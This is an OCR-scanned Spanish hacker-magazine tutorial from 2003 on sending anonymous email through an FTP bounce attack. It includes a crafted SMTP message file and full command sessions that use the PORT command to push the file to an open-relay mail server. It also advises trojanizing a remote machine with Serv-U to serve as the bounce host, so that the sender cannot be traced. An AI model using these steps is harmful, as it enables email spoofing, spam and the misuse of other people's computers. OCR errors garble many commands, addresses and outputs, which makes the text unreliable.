Message-Id: <200304171712 . h3HHCqd1004 987

Received: from 67.96.33.151 (67.96.33.151)
by mmailserver.test with [Mail 1.11 (Win32/Ixd6) ESMTP Server]

id <SAC> for NN from <aguichotmail.coms-:
Thu, 17 Apr 2003 11:47:18 -0300

Subject: Soy vo, pero tu no lo sahes
X-UIDL: 1+""1{ZG"I1~*HIIB 11

Inda,a que no ssbes quien soy, Jjajs,

Te fastidias, vo =1 lo sé. 7

Eyve, bye. ll

Recuerda algo importante, aqui no hay nada INFALIBLE, puede haber muchos impedimentos, desde que
el proxy no lo envie, hasta que el servidor SMTP “se lo guarde” por las restricciones que le haya puesto el
postmaster, vamos que seguro es, pero no pienses que siempre funciona y es que en definitiva ni nosotros
mismos sabemos qué y a quién estamos usando, el remedio: Un Bouncer. Lo dejaré para la proxima
entrega, si la hay.. y ademas: Correos maliciosos (de los que ejecutan cosas y pasan los antivirus)
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Practica: 6 Enviar Correos mediante un Servidor FTP

Bien amigos, la cosa se complica, y es que vamos a rizar el rizo e intentemos hacer lo mismo de antes
pero a través de un FTP Server.

Basicamente es lo mismo, cambian los actores (FTP en lugar de un proxy) y el protocolo (FTP por http)

En cuanto a lo demas, todo lo dicho anteriormente sigue igual, necesitamos de un SMTP anénimo y/o que
admita Relay, aunque siempre cabe la posibilidad de enviarlo al Servidor FTP del mismo dominio del
mismisimo servidor de Correo, ya que cuando lo reciba lo dejara salir... Cielos!! Como no voy a permitir
enviar algo que me pide una maquina de mi mismo proveedor, pensara el SMTP....

Sin embargo nuestro el servidor FTP elegido debe reunir “otros” requisitos;

1°) Debe permitir que escribamos en €1, es decir que tengamos acceso de escritura
2°) Debe aceptar comandos PORT
3°) Debe tener desbloqueada la opcion de FTP Bounce Attack, es decir que debe permitir FXP

Hagamos una retrospeccion al nimero 1 de la Revista HXC, la que hablaba de nuestro primer troyano, la
del Serv-U.

Nuestro querido AZIMUT se esmerd en demostrarnos y explicarnos la diferencia entre el modo PASV y
el modo PORT. Lamentablemente creo que no todo el mundo lo entendi6, a decir verdad, a mi me costo
mas de un dolor de cabeza el trabalenguas de “un cliente sin Firewall accediendo en PORT Mode a un
servidor con Firewall que no admite PASV Mode” o eso otro de “Un cliente con Firewall accediendo
en PASV Mode a un Servidor con Firewall que admite PASV Mode”, cada vez que lo leo me recuerda
mas a esa fantastica pelicula de los Hermanos Marx, cuando decian eso de “La parte contratante de la
primera parte...”

Aunque parezca lo contrario fue una gran aportacion a nuestros conocimientos, de hecho si no tenemos en
cuenta los modos PORT y PASV es muy probable que Servidor y Cliente no se lleguen a entender.

No voy a repetir lo dicho entonces, revisa el nimero 1 y si no lo tienes descargalo inmediatamente de la
Web de HxC y desgraciadamente no te voy a enseflar como “saltarse” un Firewall, eso lo dejaremos a la
Revista, que seguro que nos lo ensefiaran....

Tampoco entraremos “de lleno” en el protocolo FTP, aunque si se sentaran bases imprescindibles
Lo que si vamos a aprender aqui son varias cosas:

e Como funciona un Servidor ETP

e Como conectarnos a un FTP por linea de comandos

e Solucionar muchos de los problemas y preguntas que se plantean en el Foro de gente que monta su
propio servidor FTP y el router/Firewall les hecha atras en el intento...

Seguro que estaras pensando que esto es muy complicado y que te va a ser imposible encontrar servidores
que permitan FTP Bounce Attack y que ademas puedas escribir en ellos (si son cuentas anénimas mejor)
y ademds que admitan comandos PORT, y es cierto, cada dia abundan menos, pero..... ;Por qué no usar el
Serv-U troyanizado sobre una maquina remota para esto?

Y es que por eso incluyo esta practica, porque hecho lo dificil, que es configurar el FTP Server y subido a
un PC remoto, ya lo tenemos “casi” todo.

Aun asi, para realizar la practica, puedes configurar en tu pc/red el SERV-U y probarlo, solo que ademas
necesitards un Servidor de Correo, y un cliente, vamos que necesitaras de al menos tres maquinas para
ello. Otra posibilidad es la de usar una cuenta propia en algiin FTP publico, por ejemplo en ftp.iespana.es,
claro que si lo haces asi ADIOS al anonimato, cuando se reciba el mail se sabra que fue ftp.iespana.es
quien lo envid y después de las consultas pertinentes dardn contigo, pero para probar con nosotros
mismos nos servira.
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Como funciona una conexion FTP

Parece obvio, pero lo vamos a explicar:

1°) Nuestro cliente FTP se conecta al Server
2°) Accede al Directorio

3°) Descarga el archivo o lo archivos

4°) Se desconecta

El misterio de los misterios en las conexiones FTP reside en el paso 3°) que es cuando se produce “la
conversacion y transferencia” de datos entre el servidor y cliente.

Comprendiendo el paso 3°

3.1.- El cliente le pide uno o varios archivos al Server FTP.

3.2.- El cliente FTP crea el mismo archivo en su maquina y lo abre para copiar los datos que se
va a descargar.

3.4. El server FTP se conecta y le manda lo que le piden.
3.5. El cliente FTP se desconecta cuando deja de recibir los datos.

Se ha resaltado en rojo el'aspecto que nos ocupa. Es el momento “clave” de la transferencia. ;Qué pasaria
si el cliente FTP le indicase al Servidor que “le transfiera” el fichero a OTRA direccion IP y en lugar de
por un puerto dinamico y transparente, a un puerto predeterminado?

Pues acabas_ de descubrir el concepto de ésta practica, se trata de que en ese momento de la conexion
“obliguemos” al FTP server a transferir un archivo al servidor SMTP que nos dé la real gana y por el
puerto 25.

Si los servidores no estan correctamente configurados, este mecanismo puede servir para delimitar
medidas de restriccion de acceso, o para enviar informaciones de una manera precisa (correo electronico
o mensaje foro de discusion), haciendo dificil la determinacion de la fuente de informacion.

El comando PORT permite indicar sobre qué puerto de una maquina tendra lugar la transferencia de un
fichero. Si este puerto es uno de los puertos por defecto utilizado por un protocolo Internet y que el
fichero esta concebido para corresponder a comandos en este protocolo, la transferencia de fichero puede
resultar en una operacion que no sea una simple transferencia de fichero. En el ejemplo que nos ocupa, si
el comando PORT se utiliza para dirigir los datos sobre el puerto 25 de un servidor SMTP, la
transferencia de fichero puede resultar en el envio de un mensaje de correo electronico

Y es que todo esto viene de que el protocolo FTP es “algo” especial, se necesitan dos conexiones y dos
puertos diferentes para que la transferencia de archivos tenga éxito, esas conexiones por el lado del

servidor y suponiendo el puerto por defecto de FTP son:

Conexion de Ordenes
* a través del puerto 21

Conexion de Datos

* a través del puerto 20 si usamos PORT Mode
* a través de un puerto dindmico (1024 a 65535) si se usa PASV
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En Windows los puertos dinamicos pueden prefijarse mediante una clave especial del registro, si no se
indica lo contrario sera entre el 1024 y 5000, la clave en cuestion es:

HKEY LOCAL _MACHINE\System\CurrentControlSet\services\Tcpip\Parameters
Tipo de dato: REG_WORD

Rango Vilido: 5000-65534

Predeterminado: 5000

Presente Predeterminado: No

Esta clave determina el valor de puertos dindmicos y transparentes que puede usar Windows en las
conexiones (en todas, no s6lo en FTP) y el valor establecido afecta tanto a los puertos/ TCP y UDP

JPara qué me sirve esto?

Pues primero para conocer un poco mas a Windows, pero sobretodo, para poner remedio y fin a muchos
de los problemas que afectan a tu router o firewall a la hora de configurar una aplicacion que pueda abrir
puertos dinamicos, como es un servidor FTP en modo PASV

Si configuramos el Server en modo PORT deberemos habilitar en el router el/los puertos 20 y 21 (al
menos)

Si configuramos el Server en modo PASV deberemos habilitar, el puerto 21 y los puertos dinamicos del
rango que especifica la clave anterior.

Imagino que algunos “han visto la luz al final del tunel”, son muchos los post que indican “desactiva
PASYV, fija el servidor.en el puerto 21 y abre el router para los puertos 20 y 21”, bueno pues ya no es
preciso, ahora podemos poner nuestro Servidor FTP en modo PASV.

Nuestro mayor problema reside en que si no usamos un Firewall apropiado, abrir 5000 puertos en el
router puede ser un coladero; asi que cuidado, con esto que te pueden ‘‘alborotar” el equipo.

También esto explica el por qué, en ocasiones, los puertos de numeracion muy alta fallan, el router o
Firewall los protege y/o a windows se “le escapan de las manos” si se supera la clave del registro
comentada.

En fin, sigamos con lo nuestro:
Veamos lo que la revista nlimero 1 en su pagina 38 decia acerca de las conexiones FTP

- Para una conexidon FTP se deben establecer dos canales de comunicacion: el canal de
ordenes y el canal de Datos.

- Tanto en si se utiliza el modo PASV o PORT el canal de 6rdenes se establece de idéntica
forma

- La conexion de datos mediante PORT, es el Servidor FTP quien se conecta la cliente

- Laconexion de datos mediante PASV, es el cliente quien se conecta al Servidor FTP

Como ves tras esta explicacion, el modo PASV no nos interesa para lo que queremos hacer, puesto que
es el cliente quien se conecta al servidor a través de un puerto dindmico que nos facilitara éste ultimo, o
sea, que no podremos “controlar” el canal de datos, dependeremos del canal y puerto abierto por el server.
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Bueno pues después de todo este rollo, llega la hora explicar algo de los comandos de FTP

Los mandatos que vamos a usar del lado del servidor son:

USER, PASS, PORT, PASV, CWD, STOR, RETR, QUIT

Los mandatos que vamos a usar del lado del cliente son:

Open, quote, put, send, bye

Como puedes suponer existe un convenio determinado por el RFC del protocolo FTP y es que los
comandos del lado del servidor se escriben en mayusculas, y los del lado del cliente en‘'mintisculas, no es
importante, a menos que se haya establecido case sensitive en_el servidor, practicamente todos los
servidores y clientes FTP no tendran en cuenta esa distincion, aunque aqui yo la haga.

Voy a mostrar dos pantallas de los comandos validos FTP,

Mandatos validos para el Cliente:

= |Simbolo del sistema - ftp

delete prompt send
dehug put status
dir purd trace
disconnect i quit type
get gquote user
gloh i FECUY verhose
hash remotehe 1p

help FENane

lcd rmdir

Mandatos validos del lado del servidor

& |Simbolo del sistema - ftp

Todo depende del “lado en el que estemos” para que se puedan ejecutar unos y otros.
También nos hard falta un servidor FTP y un cliente FTP, eso es facil:

Como servidor FTP usaremos a nuestro queridisimo SERV-U
Como cliente usaremos a telnet o el programa ftp.exe de la linea de comandos

(Por qué no un cliente con GUI como FlashXP u otros? Pues, aunque también se podria hacer, por lo
menos con FlashXP, por una vez en la vida serd mas comodo y sencillo usar la linea de comandos.

También vamos a necesitar un fichero a transferir, podria ser uno cualquiera, pero como lo que queremos
es mandar un mail, el archivo debe contener “la estructura” del mail que serd enviado al servidor SMTP,
Yo lo he llamado mim.txt, y es éste:

& mim.txt - Bloc de n =10 x|
Archivo  Edicin  Formato  Awuda
HELO localhost -

MAIL FROM:carol®terra.es
RCPT TO:destinofBterra.es
DATA

Hola desde FTP

QUIT
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Ni que decir tiene que donde pone destino@terra.es hay que poner la direccion correcta del destinatario
del correo y en lugar de carol@terra.es debes poner el remitente, o deja éste mismo, todo lo dicho en la
practica nimero 5 se debe aplicar aqui acerca de las normas del remitente del correo, relay, etc.

A por ello, vamos a realizar la conexion mediante telnet, suponiendo que el servidor FTP (el SERVU)
esta corriendo en el puerto 5555, sin restricciones (admitird usuarios anénimos) y lo mas importante: la
casilla de verificacion FTP Bounce Attack DESACTIVADA!!!!

Setup FTP-5erver il
— Server zetup
FTF part number Iﬁ Primary dir change meszage file [ oz
Max. speed I— KButesdsec | _I /D ratioz
Mas. no. of Lsers |3— Secondary dir change mezzage file _
| _I Dir cache
Primary file containing ‘links'
¥ Enable security | J
™ Enciypt passwords Secondary file containing links'
[T Check anorymous passwords | J
™ Block anti time-out schemes
[ Delete partially uploaded files Help
[ Block "FTP_bounce" attacks [note: thiz also blocks server-to-server file ransfers)
™ Block uzsers who connect more than Id,_ timesz within IT geconds for |5 mifubes Cancel
[ Use all lower cage for files/dirs oK

Al igual que antes nos debemos buscar un servidor SMTP que admita relay, debemos conocer su IP y el
puerto por el que escucha, que por lo general sera el 25.

Esta practica estd implementada bajo una red local, de forma que deberas sustituir las IP’s
correspondientes, veamos la estructura:

Cliente: nosotros, IP 172.28.100.100; User:usuariop, password: kaka
SMTP: Servidor de correo, IP 172.28.0.9

FTP: Servidor FTP, 1P 172.28.130.255

Repito,

e Busca un servidor de correo que admita relay y sustituye la IP 172.28.0.9 por la suya
e Busca un servidor FTP al que tengas acceso de escritura y que acepte comandos PORT y sustituye la
IP 172.28.130.255 por la suya, puedes probar con tu propia cuenta de FTP en algun servidor o troyaniza

una maquina remota con el SERV-U.

Lo primero que haremos es abrir una shell de comandos y situarnos en el directorio donde tengamos el
fichero a transferir, en mi caso el archivo se llama mim.txt y esta en la carpeta mailF TP

Asi que....
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[c%]1simbolo del sistema

Czvrcd mailFTP

C:wmailFTP>dir
El volumen de la wunidad C no tiene etigueta.
El nimero de serie del volumen es: A413-8DAC

Directorio de C:~mailFTP

23:34 <DIR>
23:34 <DIR> .-
23:22 22 minm.txt
1 archivos 77 hytes
2 dirs 924 .545%.824 bhytes libres

C:wmailFTP>

Una vez verificada la situacion y la existencia del fichero a transferir, usemos el cliente ftp.exe
Escribimos ftp y enter

Nos mostrara una shell, que pone ftp>

Entonces nos conectamos mediante open 172.28.130.255 5555

Nos pedira el nombre de usuario y contrasefia, se lo ponemos, usuariop [Enter] y kaka [enter]

Aqui lo tienes todo seguidito:

[#%]simbolo del sistema - ftp

C=mailFTP>ftp

ftp» open 172_28.13@._255 5555

Conectado a 172.28_138.255.

228 Serv—lU FTP-Server vZ.5e for WinSock ready...

Usunario €172_28_130.255:{nonel?: usuariop
331 User name okay. need password.
Contrazeta:

%3@}User logged in,. proceed.

t

Recuerda que el puerto a la escucha del servidor FTP era el 5555, por eso se indico asi en la instruccion
open, de no poner nada intentaria acceder al puerto 21.

Observa también, que la contrasefia no se muestra, PERO SE ESCRIBIO!!!, vale? Que no es darle a enter
nada mas.

Ahora vamos a comprobar el directorio local (el de nuestro PC) y el del Servidor, para ello:

Lecd es una orden del cliente que sitia el directorio local en donde se ejecutod ftp, nos interesa por que ahi
es donde esta el archivo mim.txt a transferir

Quote CWD, es la orden que pondra a nuestro servidor FTP en el directorio home, para ejecutar los
mandatos del lado del servidor utilizamos quote, nos muestra que el directorio del server donde se
guardard el archivo es C:\

Después haremos la transferencia, ahora no importa si usamos PORT o PASV, bueno importara
dependiendo del Server, lo que quiero decir es que no tenemos por qué trucar nada puesto que lo tnico

que queremos es que se guarde el archivo mim.txt en el destino.

Para eso usaremos put o send, de momento da igual, en la siguiente pantalla lo tienes todo seguido:
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[]Simbuolo del sistema - ftp

C=mailFTP>ftp

ftp» open 172_.28.1368.255 5555

Conectado a 172_.28.138.255.

228 Serv-U FIP-Server vZ.5e for WinSock ready...
Usuwario (172.28.1380.255:<none?>: usuariop

331 Uszer name okay,. need passuword.

Contrazeta:

238 Uszer logged in,. proceed.

ftp> lcd

Directorio local ahora C:smailFTP.

ftp> guote CUD

258 Directory changed to Ac:/

ftp> put

Archivo local mim.txt

Archivo remoto mim.txt

208 PORT Command successful.

158 Opening ASCII mode data connection for mim.txt.
226 Tranzfer complete.

Etp; 22 hytes enviados en B,.8@85egundosz 77000.HB0KB-= .
tp

Como ves la transferencia ha sido completa, ahora ya tenemos nuestro fichero mim.txt en el servidor.

Ahora vamos a transferir ese archivo al servidor SMTP, para ello tendremos que usar las ordenes quote
que nos permiten ejecutar las instrucciones del lado del servidor, y como no, alterar el comando PORT,
por que sino nos lo bajaremos a nosotros mismos...

Escribimos:

Quote CWD Cambia al direcotrio home del server

Quote PORT 172,28,0,9,0,25 Indica que la transferencia se hara al servidor SMTP
Quote STOR mim.txt Prepara el archivo almacén

Quote RETR mim.txt Termina la transferencia y la envia.

Quit Fin de la conexion

Explicacion comando STOR.

Si hubiésemos querido realizar una transferencia “normal” el comando STOR es fundamental, éste no es
el caso, la transferencia “no es normal” asi que NO ENVIES el comando STOR, porque sino no
funcionara.

Si te preguntas por qué yo he tenido que incluir el comando STOR es simplemente por “un error” en la
captura de la pantalla, bueno realmente no se debe a un error, es que hice la transferencia directa y al
mismo tiempo entre el cliente-Servidor FTP-Servidor de Correo, vamos que no tenia el “archivo subido”
previamente al Servidor FTP, si ti has seguido paso a paso los ejemplos, no necesitaras STOR.
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[#]Simbolo del sistema

C:smailFTP>ftp
ftp> open 172.28.130.255 5555
Conectado a 172.28.138._255.

228 Serv—U FIP-Server uv2_Se for WinSock veady...
Hzpario (172.28.130.255:-<none??: usuariop

331 User name okay,. need password.
Contraseta:

238 User logged in. proceed.

ftp> lcd

Directorio local ahora C:smailFTP.
ftp>* gquote CUD

258 Directory changed to Ac:/

ftp> put

Archivo local mim_txt

Archive remoto mim.txt

28080 PORT Command successful.

158 Opening ASCII mode data connection
226 Transfer complete.

ftp: 99 bytes enviadeos en B.BB5egundos
ftp> guote PORT 172.28.69.9.8_25

208 PORT Command successful.

ftp> guote STOR mim.txt

158 Opening ASCII mode data connection
ftp>* gquote RETR mim.txt

226 Transfer complete.

ftp» guit

158 Opening ASCII mode data connection

C:~mailFTP>

for mim.txt.

29000 . 0BKB- =

También se puede hacer desdetelnet, una vez situado el archivo en el servidor....

Escribimos telnet 172.28:130.255 5555

Y después lo mismo que antes pero/sin quote, por que ahora estamos conectados DIRECTAMENTE del

lado del Servidor.

[#1Simbolo del sistema

228 Seruv—U FTP-Server v2_.5e for WinSock rveady...

USER uwsuariop
331 User name okay,. need password.
PASS kaka
238 User logged in, proceed.
FORT 172.28.8.9.8.25
successful.

258 Directory changed to ~sc:=/
STOR mim.txt

158 Opening ASCII mode data connection for mim.txt.

226 Transfer complete.
RETR mim.txt

158 Opening ASCII mode data connection for mim.txt

226 Transfer complete.
QuUIT
221 Goodbye?

Se ha perdido la conexidn con el host.

C:smailFTP>

Esta seria la imagen del archivo transferido al Servidor mail, como siempre taché los verdaderos nombres

de direcciones de correo, son internas, de mi red....

#%% RECUERDA NO EJECUTAR EL COMANDO STOR, QUE SINO NO TE FUNCIONARA!!!!
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Esta es una pantalla del Servidor de Correo en el momento de recibir el mensaje, ésta es otra de las
razones de realizar la practica en Red Local, asi se puede “controlar” y vigilar que todo sale como se

espera....

I ArGoSoft Mail Server Pro for WinNT /2000/XP -0l x|
File  Admin  Tools  Security  Help
88| « |BR|c@rBE &
19/04 /2003 0: 16 Server is stobved
12/04/2003 0:16: 29 - SMTP server started. Listening on vort Z5
12/04/2003 0:16: 29 - POP2 server started. Listening on vort 110
19/04 /2003 0:17:37 - Beouested SMTP connection from 17Z_Z8.0.3% [17Z.23.0.91
15/04 /2003 0:17:47 - o 1y EZE0 ArGofSoft Mail Serwer Pro for WinNT/Z000/KF
19/04/2003 0:17:48 - o 1y HEL avtovric
19/04 /72003 0O:17:48 - o 1 250 Welcome . 172 2809 1772 28.0.9], pleased to meet you
19/04 /72003 0O:17:48 - o 1y MATL FROM:
1970472003 0:17:48 - 1y EED Zender " OE. ..
19/04/2003 0:17:48 - o 1y RCPT TO: <« =
19/04/2003 0:17:49 - | 1) 250 Becipient 'Waiessgll’ 0E. .
19/04 /2003 0:17:4% - o 1y DATA
12/04/72002 0:17:4% - o 1) 354 Enter mail. end with "." on a line by it=elf
19/04 /72003 0O:17:4%3 - o 1y 2RO Messaoge accepted for delivery.
19/04 /72003 0:17:4%3 - [ 21 Delivering to
19/04/2003 0:17:45 - 1y OUIT
19042003 0:17:850 - ¢ 1y 2Z1 Aba he
19/04 /2003 0:17:50 - SMTP connection with 172_28.0.9 T17E.E2.0.%1 ended. ID=1
19/04/2003 0:17:50 - [ Z] Message from DRl d=livered to
|De|iverv0n v

La pregunta: ;Por qué no has hecho esto mismo usando un ftp y un smtp de Internet?

La respuesta no te va a gustar, practicamente hoy en dia es imposible, debe estar venus alineado con
Jupiter y granizar el dia 29 de febrero de un aio bisiesto que termine en 8 para que esto se lleve a cabo,
vamos que deben estar'mal configurados todos los Servidores, pero no importa, seguro que has aprendido
muchas cosas que antes desconocias de los servidores y clientes FTP, no?

Bueno, no funcionara con FTP’s normalitos y bien configurados, pero ya sabes, si configuras el SERV-U
apropiadamente y lo “colocas” en una maquina que actie de FTP, si que deberia funcionar.

Enlaces recomendados para seguir esta practica:

RFC del protocolo ETP  http://www.w3.org/Protocols/rfc959
Breve explicacion de FTP http://gsyc.escet.urjc.es/docencia/asignaturas/ral-00-01/transpas/ftp.pdf
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